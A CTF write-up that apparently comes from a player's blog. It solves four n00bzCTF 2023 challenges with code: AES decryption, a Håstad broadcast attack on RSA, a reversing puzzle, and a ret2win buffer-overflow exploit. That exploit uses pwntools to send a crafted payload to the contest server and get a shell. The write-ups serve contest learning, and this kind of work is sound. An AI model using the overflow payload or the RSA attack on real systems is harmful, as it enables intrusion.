Posted on :: Tags:

Table of Contents

Hello all! I played n00bzCTF 2023 which was happened from 09 June to 11 June. I played it with my team Invaders0x1.

Lets see the solutions to the challenges I solved.

Crypto

Description :

My cousin-sister messaged me on Instagram that she has got some text FOqxc90aMQZydCQb2MUm5tj4kRIxxVeCDWzAANfOrr8JItHYneUHhSV0awvQIo/8E1LtfYm/+VVWz0PDK6MXp38BWHoFDorhdS44DzYj9CQ= and a text file in which something like String password: aesiseasy and Salt: saltval was writt,en can you help her to decode the weird text?

Attached Files : [enc.java]

enc.java

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.spec.KeySpec;
import java.util.Base64;

public class AESChallenge {
    private static final String AES_ALGORITHM = "AES";
    private static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA256";
    private static final int ITERATIONS = 10000;
    private static final int KEY_SIZE = 256;

    private static SecretKey generateKey(String password, byte[] salt) throws Exception {
        KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE);
        SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
        SecretKey tmp = factory.generateSecret(spec);
        return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM);
    }

    private static String encrypt(String plainText, SecretKey key) throws Exception {
        Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, key);
        byte[] encryptedBytes = cipher.doFinal(plainText.getBytes(StandardCharsets.UTF_8));
        return Base64.getEncoder().encodeToString(encryptedBytes);
    }

    public static void main(String[] args) {
        String flag = "REDACTED";
        String password = "aesiseasy";
        byte[] salt = "saltval".getBytes(StandardCharsets.UTF_8);

        try {
            SecretKey key = generateKey(password, salt);
            System.out.println(key);
            String encryptedFlag = encrypt(flag, key);
            System.out.println("Encrypted Flag: " + encryptedFlag);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Changed the file to AESChallenge.java to match with the class name.

Observations :

1. The main method has the variables password, salt. 
2. The encrypt function requires two arguements (flag,key)
3. Key is generated by generatekey method which takes two arguments (password,salt)
4. The encrypted flag with the key from generatekey method is converted to base64

So, we have to decrypt the AES generated ciphertext with the key, generated by generatekey method.

We have salt and password to generate the key using generatekey method.

private static SecretKey generateKey(String password, byte[] salt) throws Exception {
        KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE);
        SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
        SecretKey tmp = factory.generateSecret(spec);
        return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM);
}

With these observations I wrote this solve.java which will print the flag for us.

solve.java

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.spec.KeySpec;
import java.util.Base64;

public class solve {
    private static final String AES_ALGORITHM = "AES";
    private static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA256";
    private static final int ITERATIONS = 10000;
    private static final int KEY_SIZE = 256;

    private static SecretKey generateKey(String password, byte[] salt) throws Exception {
        KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE);
        SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
        SecretKey tmp = factory.generateSecret(spec);
        return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM);
    }


    private static String decrypt(String encryptedText, SecretKey key) throws Exception {
        Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, key);
        byte[] encryptedBytes = Base64.getDecoder().decode(encryptedText);
        byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
        return new String(decryptedBytes, StandardCharsets.UTF_8);
    }

    public static void main(String[] args) {
    String ct = "FOqxc90aMQZydCQb2MUm5tj4kRIxxVeCDWzAANfOrr8JItHYneUHhSV0awvQIo/8E1LtfYm/+VVWz0PDK6MXp38BWHoFDorhdS44DzYj9CQ=";
    String password = "aesiseasy";
    byte[] salt = "saltval".getBytes(StandardCharsets.UTF_8);

    try {
        SecretKey key = generateKey(password, salt);
        System.out.println(key);
        String decryptedFlag = decrypt(ct,key);
        System.out.println("decrypted Flag: " + decryptedFlag);

        }
    catch (Exception e) {
        e.printStackTrace();
        }
    }
}

Flag : n00bz{1_d0n't_l1k3_a3s_ch4ll3ng3_d0_y0u_lik3?_41703148ed8347adbe238ffbdbaf5e16}

RSA

Description :

Good old RSA!
Note: The server is not slow, but I have added sleep(0.5) to discourage server-overloading

Challenge : nc challs.n00bzunit3d.xyz 2069

Connecting to remote server prints the e,ct,n

mj0ln1r@Linux:/$ nc challs.n00bzunit3d.xyz 2069

e = 17
ct = 1918419302512753057026648318712029212067010068881776194471911962400069730845220554390418545347081265589418087805348825538165335709592014756820975351562055168955223920260866129238091331258878862319021642420202215258606989689113199126395237258044609779214578192243449718779680984760821625858488092089359110586029718810681216404967086632022871285987871728190628649296724396627035003944211094642018641120662826716949842719001445471014439720788221673768914466721673069869698075926557748651966891705424368924478424517777871952868261029557663107718103335011473285197254398042919715068012844634957684894193434195869239068361
n = 14832509636507518025719146267736016746158063550394935168412013748335364245353808905385111963238312617375598452528117469774547055863886693759109386524161524612219187310620642861751727390080228470399915831962109423586699463124268161225204497782468596150935245876004207368769051381898376188367523380538876599098718935048131575812284079693918194244033223432954665821748431737895979497331176489236217817178707602095903865212414896508729061545245146796357745605104159549612795957395255113962822207738386196802129262229049641241406827025758240064180040710051728573495643489157496185047749682432777350823891031789833038567873

mj0ln1r@Linux:/$ nc challs.n00bzunit3d.xyz 2069
e = 17
ct = 6447479954206712453684049812027099180350107523878886559254782127138060412563172212349826966608914764574556165604677352743246072017379611338487049428209406433401510022231968362832812309941039444272178839928281693494111249162879326560937674167247955719542277558712981385601628687847446245832213044736093542641210520134610326729270324684879617665915452957893305915041558672493582653588401873353410692223555925326728236048779812407143165135068210994332362942264737082889801514367932166315908399995278888726027572063051830808932920231748324587587571382293739656878823511803124406070423703233735551773867411349962410027067
n = 9143151830717182052453590085412689929033277379344799430177196398722726776018026343096576694230511985079459043484573394967898934809585827166269500895380393285269881528194291832047352577459413344409493792541600865505980864548382947581835053230490436884828168850991984975137721737418032909519631817776834105704909176140746238694512870331896652202760838235320128117091683820284458749969419156010843857076058164726947867143672197927426528810425546295393373613926717047266991925845444620101181260763809774718637475254501710229446293016879391010346082471422865608808948260049617262947181947600762037856135644565615356696271

Observations :

1. As we can see, server printing different ct,n and same e=17 for each new connection.
2. e was too small
3. No common factors between two n's (common modulus attack wont applied)
4. Plaintext was encrypted with same e=17 with different modulus

By the observations the e=17 looks small. The message in RSA is simply the e'th root of ct, when the e is small enough it would be easy to compute without the private exponent.

Here the e=17 is small enough to do it,

17'th root of initial ct gave us the error, that is it has no perferct 17'th root.

But,

1. Plaintext was same everytime
2. Different modulus(n1,n2,..)
3. Different ciphertext(c1,c2,..)

We can find the solution to the above system that is C which satisfies each equation

(C = c1 mod n1), (C = c2 mod n2),....

So, we can use the Chinese Remaider Theorem to solve for the common C which can fit in all the conditions.

After finding the C we can apply the 17'th root of C to get the plaintext.

Here is my solve.py

solve.py

import gmpy2
gmpy2.get_context().precision = 4096

from binascii import unhexlify
from functools import reduce
from gmpy2 import root

# HÃ¥stad's Broadcast Attack

EXPONENT = 17

c1 = 7946043177938634894468433929073404673651875154647156508100839891449515149691686945995056602586944710327623300157734254965701993446310048878003244839505812174155025756246399456396630569716457360433801430476106400774865547279377861969979287733835750064754554220594527757651036422858155930651992095851602614627439063339245596216907989179295201194329197537828395638432777873627494874484442644162351506092674786914498798694380659404260196539645455287503433027367549309610352113572801657272668352732212443182638961092249449922085083328639368402363873369662072747755828243417869725889727969222941496766161784323302414216954
c2 = 12959573845685261486267397567112966488661691735414128259078491897996382414767291825628759526056897899253181537775863221611499490716812639282748479179124748696317221066942560992747945889171265338732860145466990785636517790722281378157380384521300704615814738956601099155119020464363668056528769776407040455062919016852662191860740902289863302299951158808734895396092718815039921735596667791228501328047526301396156478459414130901590537241875751813223439101873009005799006566824944416318134509872895247494905723306736031607559813033586425623787957866825634139736990176386467235744665177488925198627943203730320042768887
n1 = 17034440041769803013819987353259492052814047368802180553596332096232727428488407203629163872404893931800862659994426997044166691466452481674980731442588400925186076344115666523148148851729508568172248290848201341876249300702580615286136569268722103616878519428285998872272711491239079124967747524881729763554344521296227022124958916574705766479633287283765067948684030317008945004545691849344955755112782085223696765257525483464996334206039708539941173320021312903082525289861923741817167776417841751055018102296324303346467734670876150247432996078826945704561216298507441793730648326675429211605408858351177990334143
n2 = 17331299556630461029385232478393964321767599062981408558650170147730226667533079244038574631307826365292089835102067792983012928286988717407754509869684529210063898492076207785486047907744775354150474153932697409696268275174493130991110443360842923132578722743840846113197396873571123689245296146539892440667216842709178563761357112687102468939184745813114523671087689869743503793819274991554446204103603913471104472290485745834733456528879928652595610724965467569123797267442161308276102082738205391230941134328580245092921418147467984772008789925177804751341454022407072603374059077834470295173426162921767901044463

def chinese_remainder_theorem(items):
    # Determine N, the product of all n_i
    N = 1
    for a, n in items:
        N *= n

    # Find the solution (mod N)
    result = 0
    for a, n in items:
        m = N // n
        r, s, d = extended_gcd(n, m)
        if d != 1:
            raise "Input not pairwise co-prime"
        result += a * s * m

    # Make sure we return the canonical solution.
    return result % N


def extended_gcd(a, b):
    x, y = 0, 1
    lastx, lasty = 1, 0

    while b:
        a, (q, b) = b, divmod(a, b)
        x, lastx = lastx - q * x, x
        y, lasty = lasty - q * y, y

    return (lastx, lasty, a)


def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1:
        return 1
    while a > 1:
        q = a // b
        a, b = b, a % b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0:
        x1 += b0
    return x1


if __name__ == '__main__':

    C = chinese_remainder_theorem([(c1, n1), (c2, n2)])
    M = int(root(C, 17))

    M = hex(M)[2:]
    print(unhexlify(M).decode('utf-8'))

# n00bz{5m4ll_3_1s_n3v3r_g00d!}

Flag : n00bz{5m4ll_3_1s_n3v3r_g00d!}


PWN

Description :

Welcome to the series of 3 pwn challenges!

Challenge : nc challs.n00bzunit3d.xyz 35932
Attached Files : [pwn1]

By disasembling pwn1 binary in Binary Ninja, get to know that there were a win() function which is not called by any method. But by calling the win() will give us the shell of the system.

Here is the objdump of pwn1

mj0ln1r@Linux:/$ objdump -d pwn1

00000000004011fb <main>:
  4011fb:	f3 0f 1e fa          	endbr64 
  4011ff:	55                   	push   %rbp
  401200:	48 89 e5             	mov    %rsp,%rbp
  401203:	48 83 ec 40          	sub    $0x40,%rsp
  401207:	b8 00 00 00 00       	mov    $0x0,%eax
  40120c:	e8 85 ff ff ff       	call   401196 <init>
  401211:	48 8d 05 ec 0d 00 00 	lea    0xdec(%rip),%rax        # 402004 <_IO_stdin_used+0x4>
  401218:	48 89 c7             	mov    %rax,%rdi
  40121b:	e8 50 fe ff ff       	call   401070 <puts@plt>
  401220:	48 8b 15 49 2e 00 00 	mov    0x2e49(%rip),%rdx        # 404070 <stdin@GLIBC_2.2.5>
  401227:	48 8d 45 c0          	lea    -0x40(%rbp),%rax
  40122b:	be 50 00 00 00       	mov    $0x50,%esi
  401230:	48 89 c7             	mov    %rax,%rdi
  401233:	e8 58 fe ff ff       	call   401090 <fgets@plt>
  401238:	48 8d 05 dc 0d 00 00 	lea    0xddc(%rip),%rax        # 40201b <_IO_stdin_used+0x1b>
  40123f:	48 89 c7             	mov    %rax,%rdi
  401242:	e8 39 fe ff ff       	call   401080 <system@plt>
  401247:	90                   	nop
  401248:	c9                   	leave  
  401249:	c3                   	ret    

000000000040124a <win>:
  40124a:	f3 0f 1e fa          	endbr64 
  40124e:	55                   	push   %rbp
  40124f:	48 89 e5             	mov    %rsp,%rbp
  401252:	57                   	push   %rdi
  401253:	48 8d 05 d3 0d 00 00 	lea    0xdd3(%rip),%rax        # 40202d <_IO_stdin_used+0x2d>
  40125a:	48 89 c7             	mov    %rax,%rdi
  40125d:	e8 1e fe ff ff       	call   401080 <system@plt>
  401262:	90                   	nop
  401263:	5d                   	pop    %rbp
  401264:	c3                   	ret    

So, It is a ret2win challenge.

Observations :

1. The offset size was 64 (By trail and error check for segementation fault)
2. Return instruction address in main `0x401249`
3. Address of win() `0x40124a`
4. The binary followed little-endian format.

So, we have to send the offset first combined with the ret instruction address followed by win() address.

Here is the complete solve.py

solve.py

from pwn import *
r = remote("challs.n00bzunit3d.xyz", 35932)
payload = b'A'*64
payload += p64(0x401249) # ret address 
payload +=p64(0x40124a) # address to win() function
print(payload)
r.sendline(payload)
r.interactive()

# n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}

Flag : n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}


REV

EZrev

Description :

Rev is EZ!

Attached Files : [EZrev.class]

Decompiled the EZrev.class file to EZrev.java

EZrev.java

import java.util.Arrays;

// 
// Decompiled by Procyon v0.5.36
// 

public class EZrev
{
    public static void main(final String[] array) {
        if (array.length != 1) {
            System.out.println("L");
            return;
        }
        final String s = array[0];
        if (s.length() != 31) {
            System.out.println("L");
            return;
        }
        final int[] array2 = s.chars().toArray();
        for (int i = 0; i < array2.length; ++i) {
            if (i % 2 == 0) {
                array2[i] = (char)(array2[i] ^ 0x13);
            }
            else {
                array2[i] = (char)(array2[i] ^ 0x37);
            }
        }
        for (int j = 0; j < array2.length / 2; ++j) {
            if (j % 2 == 0) {
                final int n = array2[j] - 10;
                array2[j] = (char)(array2[array2.length - 1 - j] + 20);
                array2[array2.length - 1 - j] = (char)n;
            }
            else {
                array2[j] = (char)(array2[j] + 30);
            }
        }
        if (Arrays.equals(array2, new int[] { 130, 37, 70, 115, 64, 106, 143, 34, 54, 134, 96, 98, 125, 98, 138, 104, 25, 3, 66, 78, 24, 69, 91, 80, 87, 67, 95, 8, 25, 22, 115 })) {
            System.out.println("W");
        }
        else {
            System.out.println("L");
        }
    }
}

Observations :

1. The command line input `String[] array` was passed to the main method.
2. The input String array converted to a dictionary of number's 
3. The converted number dictionary is then compared with { 130, 37, 70, 115, 64, 106, 143, 34, 54, 134, 96, 98, 125, 98, 138, 104, 25, 3, 66, 78, 24, 69, 91, 80, 87, 67, 95, 8, 25, 22, 115 }
4. If the converted inputted string is equals to the above dictionary the check was successful.
5. So, We have to reverse the dictionary of numbers which are used in the comparision in order to get the initial string characters.

We can see that the flag len is 31. First we have to reverse the second for loop then the first for loop to get the flag characters.

solve.py

final = [130, 37, 70, 115, 64, 106, 143, 34, 54, 134, 96, 98, 125, 98, 138, 104, 25, 3, 66, 78, 24, 69, 91, 80, 87, 67, 95, 8, 25, 22, 115]

for j in range(len(final)//2):
    if j % 2 == 0:
        n = final[j]-20
        final[j] = final[len(final)-1-j] + 10
        final[len(final)-1-j] = n
    else:
        final[j] = final[j]-30
# print(final)

for i in range(len(final)):
    if i % 2 == 0:
        final[i] = final[i] ^ 0x13
    else:
        final[i] = final[i] ^ 0x37

print(final)

for i in final:
    print(chr(i),end="")

# n00bz{r3v_1s_s0_e4zy_r1ght??!!}

Flag : n00bz{r3v_1s_s0_e4zy_r1ght??!!}